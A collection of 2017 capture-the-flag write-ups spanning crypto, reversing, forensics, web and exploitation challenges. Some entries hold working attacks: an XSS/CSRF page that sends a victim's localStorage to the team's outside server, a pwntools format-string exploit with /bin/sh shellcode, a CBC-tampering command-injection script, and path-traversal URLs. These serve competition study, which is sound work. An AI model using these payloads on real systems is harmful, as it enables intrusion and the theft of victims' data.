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## Programming Question 3 - HackIM NullCon 2017
The given file is a repeatedly archived file in various formats. This can be found by successively running the 'file' UNIX command on it and unarchiving it based on the file command's output for the archive type.
After manually running 'file' and unarchive commands based on the archival type of the file obtained for a few times, I made a list of all the archival types used, as follows:LZMA, XZ, gzip, ZPAQ, lzip, POSIX tar, bzip2 compressed data, NuFile, Zip, ARJ, 7-zip and Zoo
A few of them could be unarchived using existing archival commands in UNIx. Some others like those for XZ, ZPAQ, lzip, Zoo, 7-zip and ARJ could be installed using 'brew'. The following single *brew install* was capable of unarchiving Zip, ARJ, 7-zip and Zoo.```brew install unar```
The NuFile archival format needed installation of 'nulib2' and 'nufxlib' which can be downloaded and installed from here: http://www.nulib.com/
Then I wrote the following python code to unarchive successively based on file type till an unarchived file was obtained after 254 iterations.
[Python Code](https://github.com/unique-nms/nullcon-2017-hackim-prog3/blob/master/p3.py)
The final file obtained was an *ASCII text* file which looked like shown below:
```total 120drwx------ 2 root root 28672 Dec 23 21:01 apt-dpkg-install-kKBLWj-rw-r--r-- 1 root root 71259 Dec 23 19:50 apt-fast.list-rw-r--r-- 1 root root 0 Dec 23 19:50 apt-fast.lock-rw-r--r-- 1 root root 0 Dec 23 21:03 secrdrwx------ 3 root root 4096 Dec 23 19:30 systemd-private-20af98806288452f91376e836938dc35-colord.service-hbUpEjdrwx------ 3 root flag 4096 Dec 23 19:30 63336C756448746861486C35634442684C565A686353467566513D3D```
Found flag string **63336C756448746861486C35634442684C565A686353467566513D3D**.
This was not the flag; so I tried 'hex' decoding the string which gave the following string that looked like it was base-64 encoded:**c3ludHthaHl5cDBhLVZhcSFufQ==**
Base-64 decoding the above string gave this, **synt{ahyyp0a-Vaq!n}**.This looked like the cipher text for the flag. On inspection, I predicted that the first 4 letters could be 'flag' and the substring 'ahyyp0a' could be 'nullc0n'. It was a Ceasar cipher with shift=13. Hence, the plain text and flag was:
:sparkles::sparkles:**flag{nullc0n-Ind!a}**:sparkles::sparkles: |
## Challenge> This time Fady learned from his old mistake and decided to use onetime pad as his encryption technique, but he never knew why people call it one time pad!
> [msg](msg)
## Solution
The challenge description states that Fady is using [OTP encryption](https://en.wikipedia.org/wiki/One-time_pad). As the name implies, the secret key in OTP encryption can only be used once, otherwise the complete key and plaintext can be recovered using a [many time pad attack (aka crib drag)](http://travisdazell.blogspot.nl/2012/11/many-time-pad-attack-crib-drag.html). Assuming that each line in the `msg` file is a line of text encrypted with the same OTP key, we can begin the crib drag by xor-ing 2 lines together and guessing possible letters.
I used the [cribdrag tool from SpiderLabs](https://github.com/SpiderLabs/cribdrag) to recover the plaintext.
```$ python xorstrings.py 0529242a631234122d2b36697f13272c207f2021283a6b0c7908 2f28202a302029142c653f3c7f2a2636273e3f2d653e252179082a01040053321d06014e09550039011a07411f0c4d044e2d0000
$ python cribdrag.py 2a01040053321d06014e09550039011a07411f0c4d044e2d0000Your message is currently:0 __________________________Your key is currently:0 __________________________Please enter your crib:```
After a couple dozen guesses, I was able to decrypt the message as such.
```Your message is currently:0 Dear Friend, This time I uYour key is currently:0 nderstood my mistake and uPlease enter your crib:```
Now that we have some plaintext, we can recover the key by simply xoring a plaintext string together with it's corresponding ciphertext. This can be done by modifying `xorstrings.py` slightly.
```s1 = "0529242a631234122d2b36697f13272c207f2021283a6b0c7908".decode('hex')s2 = "Dear Friend, This time I u"
s3 = sxor(s1, s2)
print s3```
Running the modified `xorstring.py` script produces the flag: **ALEXCTF{HERE_GOES_THE_KEY}**. |
# the great escape 2 (web 200)
###ENG[PL](#pl-version)
We start this task in the place where we finished part 1.We have web address for `ssc.teaser.insomnihack.ch` and we have an email `[email protected]` where we can send links to be visited by our victim.What we want to extract now is the private RSA key stored in the target local storage.
For this purpose we need some XSS, so we can extract the key via javascript.
First XSS we found where browsing through user files via REST API at `https://ssc.teaser.insomnihack.ch/api/files.php?action=list` but this proved to be useless since the target was logged-out and also we could not upload any files for him because the credentials were changed, compared to what was available in pcap.
But we figured that maybe there is a similar vulnerability in a different REST endpoint, and in fact there was one, in the current user endpoint at `https://ssc.teaser.insomnihack.ch/api/user.php?action=getUser`.
The vuln in both cases was that this page was rendered as HTML and not as JSON, and therefore username with HTML tags would get them rendered on this page.On top of that registering new user with POST request would actually redirect to this page automatically!
So we had to get the target to enter our webpage, where we can perform CSRF request registering new user on `ssc` website, and place javascript stealing the local storage contents in the username.
There are some limitations to what we can pass as parameters here so we had to encode the payload via:
```pythonreal = '''<script>var data = ''for (var key in localStorage){ data += localStorage.getItem(key)}var http = new XMLHttpRequest();http.open("POST", "https://xss.p4.team/index.php", true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.send("data=" + data);</script>'''payload = "".format(','.join([str(ord(c)) for c in real]))```
And the whole resulting attack page was:
```html<html> <form id="1234" action="https://ssc.teaser.insomnihack.ch/api/user.php" method="post"> <input name="action" value="login" ></input><input name="name" value="<img src=/ onerror=javascript:document.write(String.fromCharCode(10,32,32,32,32,60,115,99,114,105,112,116,62,10,32,32,32,32,118,97,114,32,100,97,116,97,32,61,32,39,39,10,32,32,32,32,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,108,111,99,97,108,83,116,111,114,97,103,101,41,123,10,32,32,32,32,32,32,32,32,100,97,116,97,32,43,61,32,108,111,99,97,108,83,116,111,114,97,103,101,46,103,101,116,73,116,101,109,40,107,101,121,41,10,32,32,32,32,125,10,32,32,32,32,118,97,114,32,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,10,32,32,32,32,104,116,116,112,46,111,112,101,110,40,34,80,79,83,84,34,44,32,34,104,116,116,112,115,58,47,47,120,115,115,46,112,52,46,116,101,97,109,47,105,110,100,101,120,46,112,104,112,34,44,32,116,114,117,101,41,59,10,32,32,32,32,104,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,116,121,112,101,34,44,32,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,59,10,32,32,32,32,104,116,116,112,46,115,101,110,100,40,34,100,97,116,97,61,34,32,43,32,100,97,116,97,41,59,10,32,32,32,32,60,47,115,99,114,105,112,116,62,10,32,32,32,32));>"> <input name="password" value="aa"> </form></html>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script><script type="text/javascript"> $(document).ready(function() { window.document.forms[0].submit(); });</script>```
Once the target got on this webpage he would register a user with our javascript payload, get redirected to result page with script executed and the local storage contents would get sent to our server.This way we extracted the RSA private key to decode binary for stage 3 and the flag `INS{IhideMyVulnsWithCrypto}`
###PL version
Zaczynamy tam gdzie zakończylismy analizę części 1.Mamy adres strony `ssc.teaser.insomnihack.ch` oraz mail `[email protected]` gdzie możemy wysyłać linki do odwiedzenia przez naszą ofiarę.Chcemy teraz wyciągnąć prywatny klucz RSA z local storage przeglądarki ofiary.
Do tego potrzeba nam podatności XSS, żeby wyciągnąć dane za pomocą javascriptu.
Pierwszy XSS jaki znaleźliśmy znajdował się w listingu plików za pomocą REST API pod `https://ssc.teaser.insomnihack.ch/api/files.php?action=list` ale to okazało się bezużyteczne, bo ofiara była wylogowana oraz nie mogliśmy dodać żadnych plików dla ofiary bo login i hasło uległy zmianie w porównaniu do tych z pcapa.
Ale uznaliśmy, że może jest drugi podobny błąd w innym endpoincie REST i faktycznie był kolejny podczas wyświetlania aktualnie zalogowanego użytkownika pod `https://ssc.teaser.insomnihack.ch/api/user.php?action=getUser`.
Podatność polegała w obu sytuacjach na tym, że strona wynikowa była renderowana jako HTML a nie jako JSON, więc jeśli login zawierałby jakieś tagi HTML to te zostałyby wyrenderowane na stronie.Ponaddto rejestracja nowego użytkownika żądaniem POST automatycznie przenosiła nas na tą stronę z wynikiem logowania.
Musieliśmy teraz podstawić ofierze naszą stronę, na której za pomocą żądania CSRF zarejestrowalibyśmy nowego użytkownika w serwisie `ssc` a w jego loginie umieścilibyśmy javascript kradnący zawartość local storage.
Były pewne ograniczenia na to co można było przekazać jako parametry więc payload był kodowany przez:
```pythonreal = '''<script>var data = ''for (var key in localStorage){ data += localStorage.getItem(key)}var http = new XMLHttpRequest();http.open("POST", "https://xss.p4.team/index.php", true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.send("data=" + data);</script>'''payload = "".format(','.join([str(ord(c)) for c in real]))```
A cała utworzona strona ataku:
```html<html> <form id="1234" action="https://ssc.teaser.insomnihack.ch/api/user.php" method="post"> <input name="action" value="login" ></input><input name="name" value="<img src=/ onerror=javascript:document.write(String.fromCharCode(10,32,32,32,32,60,115,99,114,105,112,116,62,10,32,32,32,32,118,97,114,32,100,97,116,97,32,61,32,39,39,10,32,32,32,32,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,108,111,99,97,108,83,116,111,114,97,103,101,41,123,10,32,32,32,32,32,32,32,32,100,97,116,97,32,43,61,32,108,111,99,97,108,83,116,111,114,97,103,101,46,103,101,116,73,116,101,109,40,107,101,121,41,10,32,32,32,32,125,10,32,32,32,32,118,97,114,32,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,10,32,32,32,32,104,116,116,112,46,111,112,101,110,40,34,80,79,83,84,34,44,32,34,104,116,116,112,115,58,47,47,120,115,115,46,112,52,46,116,101,97,109,47,105,110,100,101,120,46,112,104,112,34,44,32,116,114,117,101,41,59,10,32,32,32,32,104,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,116,121,112,101,34,44,32,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,59,10,32,32,32,32,104,116,116,112,46,115,101,110,100,40,34,100,97,116,97,61,34,32,43,32,100,97,116,97,41,59,10,32,32,32,32,60,47,115,99,114,105,112,116,62,10,32,32,32,32));>"> <input name="password" value="aa"> </form></html>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script><script type="text/javascript"> $(document).ready(function() { window.document.forms[0].submit(); });</script>```
Kiedy cel wszedł na stronę, zarejestrował użytkownika z javascriptem w loginie, został przekierowany na stronę wyników, skrypt się wykonał i na nasz serwer wysłana została zawartość local storage.W ten sposób uzyskaliśmy klucz prywatny RSA do odszyfrowania binarki dla poziomu 3 oraz flagę `INS{IhideMyVulnsWithCrypto}` |
# Web1, Web, 100pts
## Problem
Chris Martin wants to go home. Can you help him get there as soon as possible?
http://54.152.19.210/web100/
## Solution
We get simple page with login form.
When I've tried to login, message about some strange error occured:
Also, in the HTML source, there was Base64 string hidden at the bottom of the page:
Time to collect all the crumbs together:
- Chris Martin (from challenge description) is co-founder and a lead of Coldplay band- we have to help him to get home- there is (probably) a table in database where hostname and IP are logged
First, I've tried classic SQL Injection in login form. It did not work and nothing really changed. So I decided to focus on words from error message - __host__ and __IP__.
Chris wanted to go home.
And as we know...
(source: https://images5.alphacoders.com/426/426359.png)
:)
When I've added __X-Forwarder-For__ HTTP request header with value 127.0.0.1, an error message did not appear. It was a good sign.
```POST /web100/ HTTP/1.1Host: 54.152.19.210Content-Length: 27Cache-Control: max-age=0Origin: http://54.152.19.210Upgrade-Insecure-Requests: 1User-Agent: StackX-Forwarded-For: 127.0.0.1Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Referer: http://54.152.19.210/web100/Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4Connection: close```
But still username and password was left to find.
Decoded Base64 string contains MD5 hash: 2b4b037fd1f30375e5cd871448b5b95c. When I've tried to look for it in Google hoping it is already cracked password, the only thing I found was this:
All results were just links to XML with list of songs. However, those links also contained reference to 'Coldplay - Paradise' album name. It just could not be accident.
Indeed, __coldplay__ as username and __paradise__ as password allows to get the flag and send Chris home:
|
Challenge: Crypto Question 2 |----------------------------------------Category: Cryptography |----------------------------------------350 points |----------------------------------------
```Description:
Breaking Bad Key ExchangeHint 1 : in the range (1 to g*q), there are couple of pairs yielding common secrete as 399.Hint 2 : 'a' and 'b' both are less than 1000.Flag Format: flag{a,b}```
My code is naughty !!!!!
```python#!/usr/bin/env python
q=541g=10
a=[]b=[]
for x in range(1000): if g**x % q == 298: a.append(x)for y in range(1000): if g**y % q == 330: b.append(y)
print "flag{"+str(a)+","+str(b)+"}"
# flag{[170, 710],[268, 808]}
Combination of the code on the site to get the flag.
flag{170,808}
``` |
# BsidesSF 2017 - Delphi-Status (web, 250 pts)
Although it was in the web category, it was more of a crypto challenge. It's a web app that allows you to click links which are obvisouly running system commands:
The vulnerability can be exploited like a classic padding oracle. However, team [TheGoonies](https://thegoonies.rocks) took another approach to solve it.
When clicking on the "echo something" link, the requests looks like the following:```GET /execute/dc929db8d583f79becbfe00f6fe17e3680aef7b95a28afa7b314966442373f32f0da179bd12f5f676a5c896bda6f4673fb23f86d2efcb65ebd4892d7ba2b243cfecff573589ebf4ea3cec3f039c6c4a0595912c953a4f8e517c667eaba67800b914db22da7aae0c1cacf22790ed03949```Which returns: **This is a longer string that I want to use to test multiple-block patterns**
We quickly determine that the length of the ciphertext in the request equals exactly 7 blocks of 16 bytes.However the command line `echo "the_text"` is only 81 bytes, so the IV must be preprended to the command. What happens if we modify some of the first 16 bytes? We would modify the IV without breaking the actual decryption. For example, let's try and change the 9th byte. This should correspond to the letter `i` in `echo "This is...`. So we will change \xec to \x00:
```GET /execute/dc929db8d583f79b00bfe00f6fe17e3680aef7b95a28afa7b314966442373f32f0da179bd12f5f676a5c896bda6f4673fb23f86d2efcb65ebd4892d7ba2b243cfecff573589ebf4ea3cec3f039c6c4a0595912c953a4f8e517c667eaba67800b914db22da7aae0c1cacf22790ed03949```That returns: **Th\x85s is a longer string that I want to use to test multiple-block patterns**
What does it tell us? That if we want to include an arbitrary character X in the decrypted text, we just have to XOR X with \x85! Let's confirm that by trying to include the letter 'A' in the output text. We will change the 8th byte to `\x41 ^ \x85` (\xc4):
```GET /execute/dc929db8d583f79bc4bfe00f6fe17e3680aef7b95a28afa7b314966442373f32f0da179bd12f5f676a5c896bda6f4673fb23f86d2efcb65ebd4892d7ba2b243cfecff573589ebf4ea3cec3f039c6c4a0595912c953a4f8e517c667eaba67800b914db22da7aae0c1cacf22790ed03949```Response: **ThAs is a longer string that I want to use to test multiple-block patterns**
We're on track! So let's repeat that process for a length of 8 bytes (bytes 9 to 16). We use the simple script below, but it's easily done manually.
```pythonblock_1 = 'dc929db8d583f79b'block_2 = '00' * 8other_blocks = '80aef7b95a28afa7b314966442373f32f0da179bd12f5f676a5c896bda6f4673fb23f86d2efcb65ebd4892d7ba2b243cfecff573589ebf4ea3cec3f039c6c4a0595912c953a4f8e517c667eaba67800b914db22da7aae0c1cacf22790ed03949'res = requests.get('http://delphi-status-e606c556.ctf.bsidessf.net/execute/%s' % block_1 + block_2 + other_blocks).content
decrypted_block = res[7:15]sys.stdout.write(decrypted_block)``````$ python script.py | xxd00000000: 85cc c066 1cc1 1f16```
So we know that the decrypted block when xored with zeros is `\x85\xcc\xc0\x66\x1c\xc1\x1f\x16`, which mean we can control 8 bytes of decrypted text. Lucky for us, it's enough to create a payload that will let us execute commands! we can use the back ticks to escape from the `echo` and run arbitrary commands. Finally, we can solve the challenge like this:
```python# Note: the argument must be exacly 6 bytes, + 2 backticksassert len(sys.argv[1]) == 6payload = '`%s`' % sys.argv[1]decrypted_block = '\x85\xcc\xc0\x66\x1c\xc1\x1f\x16'
block_1 = 'dc929db8d583f79b'other_blocks = '80aef7b95a28afa7b314966442373f32f0da179bd12f5f676a5c896bda6f4673fb23f86d2efcb65ebd4892d7ba2b243cfecff573589ebf4ea3cec3f039c6c4a0595912c953a4f8e517c667eaba67800b914db22da7aae0c1cacf22790ed03949'
x = xor(decrypted_block, payload).encode('hex')print requests.get('http://delphi-status-e606c556.ctf.bsidessf.net/execute/%s' % block_1 + x + other_blocks).content```File listing:```$ python script.py "ls -l"Thtotal 16-rw-r--r-- 4 root root 71 Feb 12 03:11 Gemfile-rw-r--r-- 4 root root 329 Feb 12 03:11 Gemfile.lock-rw-r--r-- 4 root root 1746 Feb 12 03:11 app.rb-rw-r--r-- 4 root root 38 Feb 12 03:11 flag.txtlonger string that I want to use to test multiple-block patterns```Get the flag:```$ python script.py "cat f*"ThFLAG:a1cf81c5e0872a7e0a4aec2e8e9f74c3longer string that I want to use to test multiple-block patterns``` |
#!/usr/bin/env python
from pwn import *import sys
# nullcon HackIM CTF - 2017# Task: Exploitation Question 1 - 200 pts# Author: Simone Ferrini
def choose(r, c): r.sendline(c)
def insert(r): choose(r, '1') r.sendline("\x90"*8 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80") r.recvuntil('Enter book id:') r.sendline('1')
def leak(r): choose(r, '3') r.recvuntil('Enter query: ') r.sendline("%7$p") return r.recvline()[16:-1]
def pwn(r, l): choose(r, '3') r.recvuntil('Enter query: ')
high = int(l[2:-4], 16) low = int(l[5:], 16)
high = high - (4 + 4) low = low - high
putchar_got = 0x0804b038
got_to_override = putchar_got r.sendline(p32(got_to_override) + p32(got_to_override + 2) + "%" + str(high) + "x%12$hn" + "%" + str(low) + "x%11$hn")
def exploit(r): insert(r) pwn(r, leak(r)) r.interactive()
if __name__ == "__main__": log.info("For remote: %s HOST PORT" % sys.argv[0]) if len(sys.argv) > 1: r = remote(sys.argv[1], int(sys.argv[2])) exploit(r) else: r = process(['level1.bin']) print util.proc.pidof(r) pause() exploit(r) |
# angrybird (RE 125)
###ENG
We are faced with x64 ELF binary.
Binary is obviously corrupted - it exits right at the beginning. Unfortunatelly I don't have non-patched binary anymore,but I had to NOP a lot of code at the beginning:
```asm55 push rbp48 89 E5 mov rbp, rsp48 83 C4 80 add rsp, 0FFFFFFFFFFFFFF80h64 48 8B 04 25 28+mov rax, fs:28h48 89 45 F8 mov [rbp+var_8], rax90 nop90 nop90 nop90 nop90 nop90 nop90 nop90 nop90 nop90 nop90 nop48 C7 45 90 18 60+mov [rbp+var_70], offset strncmpp48 C7 45 98 20 60+mov [rbp+var_68], offset putsp48 C7 45 A0 28 60+mov [rbp+var_60], offset stack_chk_fail48 C7 45 A8 38 60+mov [rbp+var_58], offset startmainB8 00 00 00 00 mov eax, 0E8 4B FF FF FF call should_return_2189 45 8C mov [rbp+n], eaxB8 00 00 00 00 mov eax, 090 nop90 nop90 nop90 nop90 nopB8 00 00 00 00 mov eax, 0```
And patch function `should return 21` (because according to debug string, it should return 21):
```asm should_return_21 proc near55 push rbp48 89 E5 mov rbp, rspBF 64 50 40 00 mov edi, offset s ; "you should return 21 not 1 :("E8 8C FE FF FF call _puts8B 05 56 59 20 00 mov eax, cs:const_15D pop rbpC3 retn should_return_21 endp```
Now binary is working correctly: it reads flag, and does a lot of checks, one char at a time:
This looks easy enough, right?Well, let's zoom out:
Wait, what? Let's zoom out even more:
`O_o`.
Ok, we might need to do this more intelligently.
Turns out that if you think hard enough, everything is trivial. Or maybe just angr creators are genius, I don't know.Anyway, I created this very basic angr script (my second angr experience ever):
```pythonimport angr
main = 0x4007DAfind = 0x404FABfind = 0x404FC1avoid = [0x400590]
p = angr.Project('./angrybird2')init = p.factory.blank_state(addr=main)pg = p.factory.path_group(init, threads=8)ex = pg.explore(find=find, avoid=avoid)
final = ex.found[0].stateflag = final.posix.dumps(0)
print("Flag: {0}".format(final.posix.dumps(1)))```
And, just like that, it worked (almost) first time and shown the flag:
```╭─msm@mercury /home/msm/codegate2017 ‹system›╰─$ python angrdo.pyWARNING | 2017-02-13 19:40:46,155 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.Flag: you typed : Im_so_cute&pretty_:) @ @@``` |
Challenge: NOP |----------------------------------------Category: Misc |----------------------------------------20 points |----------------------------------------
```Description:
x86's NOP is actually another instruction. What is the Intel syntax representation of the assembly of the other instruction?
Include a space between operands, if applicable.``````Flag = XCHG EAX, EAX``` |
Challenge: Easycap ----------------------------------------Category: Forensic ----------------------------------------40 points ----------------------------------------
```Description:
Can you get the flag from the packet capture?
File: easycap.pcap```
```Click and Follow Flux TCP (Follow TCP stream)```
```FLAG:385b87afc8671dee07550290d16a8071``` |
# Sherlock (crypto)
```Sherlock has a mystery in front of him. Help him to find the flag. ```
###ENG[PL](#pl-version)
In the task we get a [book](sherlock.txt).We figured we could compare it to the [original text from Project Gutenberg](sherlock_orig.txt).
We had to make it lowercase and remove the ToC but other than that the comparison was simple:
```pythonimport codecs
def main(): with codecs.open("sherlock.txt", "r") as input_file: task_data = input_file.read() task_data.replace("\n\n", "\n") with codecs.open("sherlock.txt", "r") as input_file: original_data = input_file.read() original_data = original_data.lower() original_data.replace("\n\n", "\n") result = "".join([task_data[i] for i in range(len(task_data)) if task_data[i] != original_data[i]]) print(result)
main()```
This gave us a long string with `ZEROONEZERO...`.We changed this into a number and interpreted as text:
```pythonfrom crypto_commons.generic import long_to_bytes
result = result.replace("ZERO", "0") result = result.replace("ONE", "1") print(long_to_bytes(int(result, 2)))```
And we got `BITSCTF{h1d3_1n_pl41n_5173}`
###PL version
W zadaniu dostajemy [książkę](sherlock.txt).Postanowiliśmy porównać ją z [oryginalnym tekstem z Project Gutenberg](sherlock_orig.txt).
Musieliśmy zmienić ją na lowercase i usunąć spis treści, ale cała reszta była prosta:
```pythonimport codecs
def main(): with codecs.open("sherlock.txt", "r") as input_file: task_data = input_file.read() task_data.replace("\n\n", "\n") with codecs.open("sherlock.txt", "r") as input_file: original_data = input_file.read() original_data = original_data.lower() original_data.replace("\n\n", "\n") result = "".join([task_data[i] for i in range(len(task_data)) if task_data[i] != original_data[i]]) print(result)
main()```
To dało nam długi string `ZEROONEZERO...`.Po zmianie tego na liczbę a następnie zinterpretowaniu jako tekst:
```pythonfrom crypto_commons.generic import long_to_bytes
result = result.replace("ZERO", "0") result = result.replace("ONE", "1") print(long_to_bytes(int(result, 2)))```
Dostaliśmy `BITSCTF{h1d3_1n_pl41n_5173}` |
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# RE2: C++ is awesome
100 points> They say C++ is complex, prove them wrong!
## Solution
We're given a small binary which takes a single argument and returns either:`Better luck next time` when called with an incorrect flag or `You should havethe flag by now` when called with a part of the flag.
[@Pyhscript](https://github.com/Pyhscript) noticed that this allows us to brute-force the flag without actuallyneeding to analyze the binary. This simple script turned out to be enough:```rubyflag = ''until flag[-1] == '}' [*'A'..'Z', *'a'..'z', *'0'..'9', '_', '{', '}'].each do |ch| result = `./re2 #{flag + ch}` if result.include? 'flag' flag += ch break end endendputs flag```
In a few seconds we get the full flag which is`ALEXCTF{W3_L0v3_C_W1th_CL45535}`. |
Challenge: Zumbo2 ----------------------------------------Category: Web ----------------------------------------100 points ----------------------------------------
```Description:
Welcome to ZUMBOCOM....you can do anything at ZUMBOCOM.Three flags await. Can you find them?
http://zumbo-8ac445b1.ctf.bsidessf.netStage 3 - coming soon!
```
We connect to the site.
```We look at the source code and find hint:
We will try a traversal directory on /code/server.py.
http://zumbo-8ac445b1.ctf.bsidessf.net/../code/server.py (../) mutliple of 1, 2, 3 etc .... don't match![Errno 2] No such file or directory: u'code/server.py'
redirection: on index.template
we test null byte %00:
http://zumbo-8ac445b1.ctf.bsidessf.net/%00/code/server.pyfile() argument 1 must be encoded string without null bytes, not unicode```
We have a problem with encoded string!!!!!. => %2e/ => %2f
We test with:http://zumbo-8ac445b1.ctf.bsidessf.net/%2e%2e%2f%2e%2e/code/server.py
Bingo we have the source code and first flag !!!!!!
FLAG: FIRST_FLAG_WASNT_HARD
and we have the location of the files !!!!!!
Connect to http://zumbo-8ac445b1.ctf.bsidessf.net/%2e%2e%2f%2e%2e/flag
FLAG: RUNNER_ON_SECOND_BASE ``` |
Challenge: Easy ----------------------------------------Category: Reversing ----------------------------------------10 points ----------------------------------------
```Description:
This one is easy.
File: easy-32 or easy-64``````We decompile the file with Ida pro.```
FLAG:db2f62a36a018bce28e46d976e3f9864
|
in-plain-sight
```This level is simple: all you have to do is decrypt some HiddenCiphertext! To make it even easier, I'll give you everything you need, except the ciphertext; you have to find that on your own!
You will need:
Algorithm: AES-256-CBCKey: c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1IV: 0a0e176722a95a623f47fa17f02cc16a```While attempting another challenge on day two, I came across an interesting article that proved crucial to solving in-plain-sight:
[Going the other way with padding oracles: Encrypting arbitrary data!](https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data)
What is apparently plaintext, may in fact be the cipher text. And with a title 'in plain sight,' let's look for ciphertext candidates.
The 'HiddenCiphertext!' stuck out and I was guessing that it was the ciphertext. Since we need inputs to be multiples of 16, I omitted the exclamation point. Using Python, I converted the key and IV to bytes, and attempted to decrypt 'HiddenCiphertext':
```>>> import binascii>>> from Crypto.Cipher import AES>>> k = binascii.unhexlify('c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1')>>> iv = binascii.unhexlify('0a0e176722a95a623f47fa17f02cc16a')>>> c = 'HiddenCiphertext'>>> aes = AES.new(k, AES.MODE_CBC, iv)>>> aes.decrypt(c)'FLAG:1d010f248d\x01'```
Recon for the win; always do your homework. |
RE: Skipper
```0x0804a08e lea eax, dword [ebp - local_40ch]0x0804a094 push eax
// The first call:0x0804a095 call sub.memset_871 ; void *memset(void *s, int c, size_t n);0x0804a09a add esp, 0x100x0804a09d sub esp, 80x0804a0a0 lea eax, dword [ebp - local_40ch]0x0804a0a6 push eax0x0804a0a7 push str.Computer_name:__s_n ; str.Computer_name:__s_n ; "Computer name: %s." @ 0x804a31f0x0804a0ac call sym.imp.printf ; int printf(const char *format);0x0804a0b1 add esp, 0x100x0804a0b4 sub esp, 8
// Test string:0x0804a0b7 push str.hax0rz__ ; str.hax0rz__ ; "hax0rz!~" @ 0x804a332
0x0804a0bc lea eax, dword [ebp - local_40ch]0x0804a0c2 push eax
// String comparison:0x0804a0c3 call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2);0x0804a0c8 add esp, 0x10
// Test:0x0804a0cb test eax, eax0x0804a0cd je 0x804a0f3```
By examining the file, we can see that it is checking various values; hostname needs to be 'hax0rz!~', OS Version needs to be '2.4.31' and CPU needs to be 'AMDisbetter!'. Passing these three tests leads to 0x08048a63 which seems to do a lot of operations against a few character values, and presumably returns the flag.
```// Start of function related to flag generation0x08048a63 push ebp0x08048a64 mov ebp, esp0x08048a66 sub esp, 0x68 ; 'h'0x08048a69 mov eax, dword gs:[0x14] ; [0x14:4]=10x08048a6f mov dword [ebp - local_ch], eax0x08048a72 xor eax, eax
// Loading values that will be decoded to flag0x08048a74 mov dword [ebp - local_35h], 0x343737380x08048a7b mov dword [ebp - local_31h], 0x396434620x08048a82 mov dword [ebp - local_2dh], 0x353437630x08048a89 mov dword [ebp - local_29h], 0x343134610x08048a90 mov dword [ebp - local_25h], 0x353563380x08048a97 mov dword [ebp - local_21h], 0x663834390x08048a9e mov dword [ebp - local_1dh], 0x363362350x08048aa5 mov dword [ebp - local_19h], 0x373366360x08048aac mov dword [ebp - local_15h], 0x656430390x08048ab3 mov dword [ebp - local_11h], 0x38623035```
Since we know that the flag is returned by the application, based on the challenge description, we attempt to patch the executable at its first call to 0x08048871 (call sub.memset_871 in radare2) and replace it with a call to 0x08048a63. Using the patched binary, we score our flag:
Result: FLAG:f51579e9ca38ba87d71539a9992887ff |
Challenge: Zumbo1 ----------------------------------------Category: Web ----------------------------------------20 points ----------------------------------------
```Description:
Welcome to ZUMBOCOM....you can do anything at ZUMBOCOM.Three flags await. Can you find them?
http://zumbo-8ac445b1.ctf.bsidessf.netStages 2 and 3 - coming soon!
```
We connect to the site.
```We look at the source code and find hint:
We will try a traversal directory on /code/server.py.
http://zumbo-8ac445b1.ctf.bsidessf.net/../code/server.py (../) mutliple of 1, 2, 3 etc .... don't match![Errno 2] No such file or directory: u'code/server.py'
redirection: on index.template
we test null byte %00:http://zumbo-8ac445b1.ctf.bsidessf.net/%00/code/server.pyfile() argument 1 must be encoded string without null bytes, not unicode```
We have a problem with encoded string!!!!!. => %2e/ => %2f
We test with:http://zumbo-8ac445b1.ctf.bsidessf.net/%2e%2e%2f%2e%2e/code/server.py
Bingo we have the source code and first flag !!!!!!
FLAG: FIRST_FLAG_WASNT_HARD
``` |
# CODEGATE 2017 Prequalification - pwn - Hunting - 350 pts
> Description: Hunting Monster>> ssh [email protected] -p5555 (pw : hunting)>> Attachment: [hunting](hunting) [xpl.py](xpl.py)>
# Write-up
The hunting binary turned out to be a little game, in which we had to kill a "boss". For this we were provided with different skills, which we could use against him. On every attack, he does a counter-attack and we're able to use a specific shield (ice, fire, wind). If our shield matches his attack, we won't lose any hitpoints.
Let's have a look at the disassembled parts of the binary:
**Main menu:**
